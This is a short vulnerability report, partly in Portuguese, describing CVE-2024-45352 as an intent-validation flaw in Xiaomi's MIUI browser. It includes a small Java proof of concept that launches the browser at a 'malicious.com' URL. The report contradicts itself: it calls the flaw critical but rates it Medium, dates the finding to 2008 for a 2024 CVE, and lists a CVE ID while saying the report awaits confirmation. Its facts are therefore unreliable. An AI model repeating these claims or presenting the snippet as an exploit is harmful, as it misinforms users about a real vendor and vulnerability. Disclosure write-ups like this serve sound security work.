xiaomi-cve-2024-45352

Relatório técnico sobre vulnerabilidade crítica da Xiaomi Vulnerability Summary A vulnerability was discovered in Xiaomi's default browser (com.android.browser) on various MIUI devices. The app fails to properly validate intents passed via startActivity, allowing malicious apps to open arbitrary URLs or perform unintended actions.

• CVE ID: CVE-2024-45352
• Componente
• :com.android.browser
• Severidade: Medium
• Status: Reported to Xiaomi (awaiting confirmation)
• Data encontrada: [24 de abril de 2008]

🔥 Prova de Conceito (PoC)

1. Create a simple malicious app with the following intent:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);